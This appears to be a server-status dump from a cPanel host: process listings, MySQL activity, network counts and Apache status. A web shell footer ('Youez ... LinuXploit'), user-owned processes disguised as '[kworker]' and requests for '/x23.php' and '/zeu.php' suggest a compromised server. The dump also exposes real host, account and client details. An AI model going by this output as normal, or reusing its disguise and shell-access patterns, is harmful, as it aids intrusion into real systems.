  9007 nobody    20   0  277812  26168   3436 S   0.0  1.1   0:00.09 /usr/sbin+
  9048 nobody    20   0  277860  26404   3576 S   0.0  1.1   0:00.14 /usr/sbin+
  9179 nobody    20   0  277468  26136   3496 S   0.0  1.1   0:00.09 /usr/sbin+
  9590 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
  9594 oysipao+  20   0    3152    424      0 S   0.0  0.0   0:00.00 [kworker]
  9720 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
  9752 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  9979 root      20   0 1341636  10852    128 S   0.0  0.4   0:00.05 /usr/bin/+
 10014 root      20   0 1277056  15464    128 S   0.0  0.6   0:00.06 /usr/bin/+
 10462 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 10485 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 11146 nigeria   20   0  397064   5884   2404 S   0.0  0.2   0:00.00 php-fpm: +
 11167 healtho+  20   0  441972  52100   4168 S   0.0  2.2   0:00.43 php-fpm: +
 11171 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11172 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11174 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11175 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11177 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11178 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11179 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11180 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11181 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11183 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 11186 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 11187 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 11188 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 11189 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 11191 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 11192 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 11193 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 11194 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 11195 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 11197 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 11200 root      20   0  108052    592    496 S   0.0  0.0   0:00.00 /usr/bin/+
 11201 root      20   0  113288   1516   1300 S   0.0  0.1   0:00.00 /bin/bash+
 11220 pactpay   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 11228 nigeria   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 11239 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 11242 root      20   0  160220   2064   1580 R   0.0  0.1   0:00.00 top -bcn1
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    03:47   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [rcu_bh]
root          9  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [ksoftirqd/1]
root         15  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kworker/1:0]
root         16  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [watchdogd]
root         36  0.5  0.0      0     0 ?        S    03:47   0:04  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   03:47   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   03:47   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kthrotld]
root         48  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kworker/u200:1]
root         49  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [deferwq]
root        103  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kauditd]
root        239  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [ata_sff]
root        245  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [scsi_eh_0]
root        246  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [scsi_tmf_0]
root        247  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [scsi_eh_1]
root        248  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [scsi_tmf_1]
root        250  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kworker/u200:3]
root        251  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [ttm_swap]
root        260  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kworker/1:1H]
root        265  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kworker/0:1H]
root        269  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kworker/0:2]
root        276  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [jbd2/vda3-8]
root        277  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [ext4-rsv-conver]
root        413  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [rpciod]
root        414  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [xprtiod]
root        618  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [kvm-irqfd-clean]
root        660  0.2  0.0      0     0 ?        S<   03:47   0:02  \_ [loop0]
root        665  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [jbd2/loop0-8]
root        666  0.0  0.0      0     0 ?        S<   03:47   0:00  \_ [ext4-rsv-conver]
root       4372  0.0  0.0      0     0 ?        S    03:48   0:00  \_ [kworker/1:3]
root       4378  0.0  0.0      0     0 ?        S    03:48   0:00  \_ [kworker/0:3]
root       7603  0.0  0.0      0     0 ?        S    03:54   0:00  \_ [kworker/1:1]
root       8224  0.0  0.0      0     0 ?        S    03:56   0:00  \_ [kworker/0:0]
root       9720  0.0  0.0      0     0 ?        S    04:00   0:00  \_ [kworker/1:2]
root       9752  0.0  0.0      0     0 ?        S    04:00   0:00  \_ [kworker/u200:0]
root      10462  0.0  0.0      0     0 ?        S    04:02   0:00  \_ [kworker/1:4]
root      10485  0.0  0.0      0     0 ?        S    04:02   0:00  \_ [kworker/0:1]
root          1  0.2  0.1  44420  3420 ?        Ss   03:47   0:02 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        357  0.0  0.2  40240  4872 ?        Ss   03:47   0:00 /usr/lib/systemd/systemd-journald
root        378  0.0  0.0  45356   284 ?        Ss   03:47   0:00 /usr/lib/systemd/systemd-udevd
root        408  0.0  0.0  55532   232 ?        S<sl 03:47   0:00 /sbin/auditd
rpc         477  0.0  0.0  69256   192 ?        Ss   03:47   0:00 /sbin/rpcbind -w
polkitd     489  0.0  0.0 612240   980 ?        Ssl  03:47   0:00 /usr/lib/polkit-1/polkitd --no-debug
root        491  0.0  0.0 152780    88 ?        Ss   03:47   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
dbus        493  0.0  0.0  58716  1356 ?        Ss   03:47   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root        510  0.0  0.0 195208     0 ?        Ssl  03:47   0:00 /usr/sbin/gssproxy -D
root        528  0.0  0.0  24896  1432 ?        Ss   03:47   0:00 /usr/lib/systemd/systemd-logind
root        532  0.0  0.0  21540   416 ?        Ss   03:47   0:00 /usr/sbin/irqbalance --foreground
root        533  0.0  0.2 224144  5600 ?        Ss   03:47   0:00 queueprocd - waiting up to 60s to process a task
root        535  0.0  0.0  52852   124 ?        Ss   03:47   0:00 /usr/sbin/smartd -n -q never
nscd        552  0.0  0.0 928956   984 ?        Ssl  03:47   0:00 /usr/sbin/nscd
root        558  0.0  0.0  25908    20 ?        Ss   03:47   0:00 /usr/sbin/atd -f
root        560  0.0  0.0 124480   464 ?        Ss   03:47   0:00 /usr/sbin/crond -n
root      11171  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11191  0.0  0.0 113284  1212 ?        Ss   04:03   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      11200  0.0  0.0 108052   592 ?        S    04:03   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      11201  0.0  0.0 113288  1516 ?        S    04:03   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      11253  0.0  0.0 153840  2096 ?        R    04:03   0:00  |               \_ ps auxf
root      11172  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11186  0.0  0.0  20164   804 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/sendsingle1.php > /dev/null 2>&1
root      11174  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11194  0.0  0.0  20164   804 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      11175  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11192  0.0  0.0  20164   808 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
root      11177  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11195  0.0  0.0  20164   804 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      11178  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11189  0.0  0.0  20164   808 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      11179  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11188  0.0  0.0  20164   808 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      11180  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11197  0.0  0.0  20164   808 ?        Ss   04:03   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      11181  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11193  0.0  0.0  20164   964 ?        Ss   04:03   0:00  |   \_ jailshell (pactpay) [11220] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   11220  0.0  0.0  20164   256 ?        S    04:03   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   11222  0.0  0.7 476724 17484 ?        S    04:03   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      11183  0.0  0.0 183048  2140 ?        S    04:03   0:00  \_ /usr/sbin/CROND -n
root      11187  0.0  0.0  20164   968 ?        Ss   04:03   0:00      \_ jailshell (nigeria) [11228] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   11228  0.0  0.0  20164   256 ?        S    04:03   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   11229  0.0  0.6 400652 15940 ?        R    04:03   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        565  0.0  0.0   4388    44 ?        Ss   03:47   0:00 /usr/sbin/acpid
root        581  0.0  0.0 114704    60 ttyS0    Ss+  03:47   0:00 /bin/bash
root        582  0.0  0.0 108296    80 tty1     Ss+  03:47   0:00 /sbin/agetty --noclear tty1 linux
mailnull    614  0.0  0.1  90692  2984 ?        Ss   03:47   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
telegraf   3173  0.0  1.2 5654048 29584 ?       SLsl 03:47   0:00 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
memcach+   3175  0.0  0.0 342400    40 ?        Ssl  03:47   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root       3176  0.0  0.0 111304   424 ?        Ss   03:47   0:00 /usr/sbin/sshd -D
named      3177  0.0  0.9 711724 24064 ?        Ssl  03:47   0:00 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root       3179  1.5 39.2 1763068 950728 ?      Ssl  03:47   0:13 /usr/local/cpanel/3rdparty/bin/clamd -F
systuser   3188  0.0  0.0  10388    52 ?        Ssl  03:47   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root       3189  0.0  0.0 153404   296 ?        Ss   03:47   0:00 pure-ftpd (SERVER)
root       3190  0.0  0.1 397344  3268 ?        Ss   03:47   0:00 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   11146  0.0  0.2 397064  5884 ?        S    04:02   0:00  \_ php-fpm: pool nigeriadecide_org
healtho+  11167 43.0  2.1 441972 52100 ?        S    04:02   0:00  \_ php-fpm: pool health_oyostate_gov_ng
root       3192  0.0  0.0 572372   908 ?        Ssl  03:47   0:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root       3196  0.0  0.0 392856   268 ?        Ss   03:47   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
cpanelc+   3198  0.0  0.1   9700  2652 ?        Ss   03:47   0:00 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
systuser   3199  0.0  0.0  12660    60 ?        Ssl  03:47   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
systuser   3200  0.0  0.0 113932  2036 ?        Ssl  03:47   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root       3204  0.0  0.0  51508   236 ?        Ss   03:47   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   3338  0.0  0.0  46772   432 ?        S    03:47   0:00  \_ dovecot/pop3-login
dovenull   3339  0.0  0.0  47188   952 ?        S    03:47   0:00  \_ dovecot/imap-login
dovecot    3340  0.0  0.0  10320   112 ?        S    03:47   0:00  \_ dovecot/anvil
root       3341  0.0  0.0  10452   616 ?        S    03:47   0:00  \_ dovecot/log
dovenull   3342  0.0  0.0  46912  1044 ?        S    03:47   0:00  \_ dovecot/pop3-login
dovenull   3343  0.0  0.0  46780   324 ?        S    03:47   0:00  \_ dovecot/imap-login
root       3347  0.0  0.0  24396  1804 ?        S    03:47   0:00  \_ dovecot/config
dovecot    3355  0.0  0.0  13568   328 ?        S    03:47   0:00  \_ dovecot/stats
dovecot    3408  0.0  0.0  41056   460 ?        S    03:47   0:00  \_ dovecot/auth
root       3205  0.0  0.1 445028  2604 ?        Ss   03:47   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
systuser   3210  0.0  0.0 113016  1616 ?        Ssl  03:47   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root       3211  0.0  0.2 261144  5600 ?        Ss   03:47   0:00 cpsrvd (SSL) - waiting for connections                   
root      11239  0.0  0.0      0     0 ?        Z    04:03   0:00  \_ [cpaneld - servi] <defunct>
root       3222  0.0  0.4 436392 10972 ?        Ss   03:47   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root       3224  0.0  0.2 216400  4980 ?        Ssl  03:47   0:00 /usr/sbin/rsyslogd -n
root       3226  0.0  0.0 386112   384 ?        Ss   03:47   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root       3237  0.0  0.0 385496   524 ?        Ss   03:47   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
systuser   3238  0.0  0.5 114016 12264 ?        Ssl  03:47   0:00 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
wp-tool+   3399  0.1  1.4 410452 35172 ?        Ss   03:47   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
wp-tool+   3400  0.0  0.5 387528 12844 ?        Ss   03:47   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
root       3411  0.3  4.8 248156 117232 ?       Ss   03:47   0:02 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       7405  0.1  5.3 264600 128740 ?       S    03:53   0:00  \_ spamd child
root       7406  0.0  4.8 248156 117100 ?       S    03:53   0:00  \_ spamd child
systuser   3421  0.0  0.0 157700  2156 ?        S    03:47   0:00 SonarPush 0.6.12 [sleeping]
root       3467  0.0  0.4 209304 10044 ?        Ss   03:47   0:00 tailwatchd
root       3469  0.0  0.0 183900    96 ?        Ss   03:47   0:00 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       3472  0.0  0.0 167452  1040 ?        Ss   03:47   0:00 dnsadmin - dormant mode
root       3902  0.0  0.0 299272   536 ?        Ss   03:47   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       3924  0.0  0.0 130416   832 ?        SN   03:47   0:00 cpanellogd - sleeping for logs
mysql      3987  1.5  8.3 1457788 201616 ?      Sl   03:47   0:13 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       4182  0.0  0.6 266984 16680 ?        Ss   03:47   0:00 /usr/sbin/httpd -k start
root       4185  0.0  0.0  12812   460 ?        S    03:47   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       4186  0.0  0.0  12732   284 ?        S    03:47   0:00  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       4187  0.0  0.0  12840   484 ?        S    03:47   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       4191  0.0  0.3  53256  9488 ?        S    03:47   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody     4192  0.0  1.0 277540 26508 ?        S    03:47   0:00  \_ /usr/sbin/httpd -k start
nobody     4193  0.0  1.0 277556 26376 ?        S    03:47   0:00  \_ /usr/sbin/httpd -k start
nobody     4194  0.0  1.0 277456 26324 ?        S    03:47   0:00  \_ /usr/sbin/httpd -k start
nobody     4195  0.0  1.0 277420 26412 ?        S    03:47   0:00  \_ /usr/sbin/httpd -k start
nobody     4463  0.0  1.0 277824 26480 ?        S    03:48   0:00  \_ /usr/sbin/httpd -k start
nobody     4516  0.0  1.0 277620 26348 ?        S    03:48   0:00  \_ /usr/sbin/httpd -k start
nobody     6465  0.0  1.0 277672 26420 ?        S    03:51   0:00  \_ /usr/sbin/httpd -k start
nobody     9007  0.0  1.0 277812 26168 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody     9048  0.0  1.0 277860 26404 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
nobody     9179  0.0  1.0 277468 26136 ?        S    03:59   0:00  \_ /usr/sbin/httpd -k start
root       4241  0.1  1.1 181052 27888 ?        Ss   03:47   0:01 lfd - sleeping
oysipao+   9590  0.0  0.0   3148   416 ?        Ss   04:00   0:00 [kworker]
oysipao+   9594  0.0  0.0   3152   424 ?        S    04:00   0:00  \_ [kworker]
root       9979  0.0  0.4 1341636 10852 ?       Ssl  04:00   0:00 /usr/bin/cspdaemon
root      10014  0.0  0.6 1277056 15464 ?       Ssl  04:00   0:00 /usr/bin/checkstatus
## mysql stats
Uptime: 920  Threads: 3  Questions: 64252  Slow queries: 0  Opens: 1312  Flush tables: 1  Open tables: 1232  Queries per second avg: 69.839
*************************** 1. row ***************************
     Id: 953
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 2. row ***************************
     Id: 955
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT `id` FROM `currency_rate` WHERE `day`='2025-11-05' LIMIT 1
*************************** 3. row ***************************
     Id: 958
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.145.187 TIME_WAIT
      1 142.44.220.32 TIME_WAIT
      1 173.199.190.175 TIME_WAIT
      1 191.96.124.203 TIME_WAIT
      1 ::1 TIME_WAIT
      1 204.9.37.75 TIME_WAIT
      1 45.38.215.42 TIME_WAIT
      1 50.62.183.174 TIME_WAIT
      1 51.161.65.21 TIME_WAIT
      1 85.254.64.113 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      2 4.241.111.42 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Wednesday, 05-Nov-2025 04:03:01 WAT
   Restart Time: Wednesday, 05-Nov-2025 03:47:47 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 15 minutes 14 seconds
   Server load: 1.81 0.64 0.45
   Total accesses: 1280 - Total Traffic: 19.4 MB - Total Duration: 329750
   CPU Usage: u2.3 s.67 cu3.69 cs1.78 - .923% CPU load
   1.4 requests/sec - 21.7 kB/second - 15.5 kB/request - 257.617 ms/request
   4 requests currently being processed, 0 workers gracefully restarting, 6 idle workers

K__K.__.K_W_....................................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv  PID     Acc     M CPU  SS  Req  Dur   Conn  Child Slot     Client      Protocol              VHost                                          Request
   0-0  4192 1/204/204  K 0.56 4   808 37418 22.3   4.79  4.79 45.154.149.137  http/1.1 health.oyostate.gov.ng:443      GET /portfolio/oyo-pensioners-commend-governor-makinde-as-they-
   1-0  4193 0/108/108  _ 0.84 3   12  46383 0.0    1.29  1.29 3.208.146.193   http/1.1 nigeriadecide.org:443           GET /polling_unit_category.php/2019elections/blog/2019elections
   2-0  4194 0/110/110  _ 0.82 1   8   49618 0.0    1.37  1.37 18.211.148.239  http/1.1 nigeriadecide.org:443           GET /polling_unit_category.php/blog/blog/blog/polling_unit_cate
   3-0  4195 33/153/153 K 0.77 0   41  31265 1241.3 2.56  2.56 4.241.111.42    http/1.1 fsl.ng:443                      GET /x23.php HTTP/1.1
   4-0  -    0/0/123    . 0.00 157 0   22120 0.0    0.00  1.62 ::1             http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   5-0  4463 0/93/93    _ 0.82 0   2   18712 0.0    2.22  2.22 ::1             http/1.1 chs1.nescrow.com.ng:80          GET //whm-server-status HTTP/1.0
   6-0  4516 0/106/106  _ 0.99 0   6   41291 0.0    1.34  1.34 127.0.0.1       http/1.1 chs1.nescrow.com.ng:80          GET / HTTP/1.1
   7-0  -    0/0/96     . 0.00 79  0   38308 0.0    0.00  1.07 ::1             http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   8-0  6465 34/112/112 K 1.03 0   27  22300 13.5   2.17  2.17 4.241.111.42    http/1.1 proxy-subdomains-vhost.localhos GET /zeu.php HTTP/1.1
   9-0  9007 0/29/29    _ 0.18 0   464 5180  0.0    0.27  0.27 162.120.184.219 http/1.1 health.oyostate.gov.ng:443      GET /about-us/ HTTP/1.1
   10-0 9048 0/121/121  W 0.25 0   0   10603 0.0    0.40  0.40 ::1             http/1.1 chs1.nescrow.com.ng:80          GET //whm-server-status HTTP/1.0
   11-0 9179 0/25/25    _ 0.10 0   10  6547  0.0    0.25  0.25 127.0.0.1       http/1.1 chs1.nescrow.com.ng:80          GET / HTTP/1.1
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 382
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 14 seconds, (range: 0...53)
   index usage: 6%, cache usage: 9%
   total entries stored since starting: 1151
   total entries replaced since starting: 0
   total entries expired since starting: 764
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 0 hit, 0 miss
   total removes since starting: 5 hit, 0 miss

Youez - 2016 - github.com/yon3zu
LinuXploit